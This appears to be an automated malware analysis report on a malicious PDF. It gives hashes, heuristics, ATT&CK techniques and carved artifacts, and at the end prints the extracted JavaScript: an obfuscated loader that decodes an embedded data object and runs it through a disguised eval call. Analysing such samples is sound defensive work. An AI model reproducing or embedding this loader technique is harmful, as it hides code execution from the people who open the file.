PDF malware analysis — malicious · ec5fae95f10f7940

MALICIOUS

PDF

5.1 KB First seen: 2026-05-08

MD5: 2b3bfb7d723716f8b7f4d4037218d6a8 SHA-1: 79a015d0143972487fb8c68b4053b74effe70b4f SHA-256: ec5fae95f10f794052a70dfe464a10943e673bb1aaf8f10b990406d27b2e4916

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The PDF contains embedded JavaScript and an embedded binary file, as indicated by the PDF_JAVASCRIPT, PDF_JS, and PDF_EMBEDDED heuristics. The ML_NYX_PDF_MALICIOUS classifier strongly suggests malicious intent. The embedded JavaScript, though not fully detailed here, is a common method for executing malicious code within PDFs. The embedded binary file is a likely payload. The extracted document body text is not human-readable and does not provide further context.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0013.bin`	pdf-embedded-file	PDF EmbeddedFile object 13 at offset 0x425	108137 bytes
SHA-256: `397eb2c45cd3cab5d4d840b0d4e3953c229542701751e1361deb0c712dc3dcc0`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 97 long base64-like blob(s).
`javascript_obj0008_000.js`	pdf-javascript-stream	PDF /JS object 8 at offset 0x1ED	230 bytes
SHA-256: `30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e`
Preview script First 1,000 lines of the extracted script zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){ zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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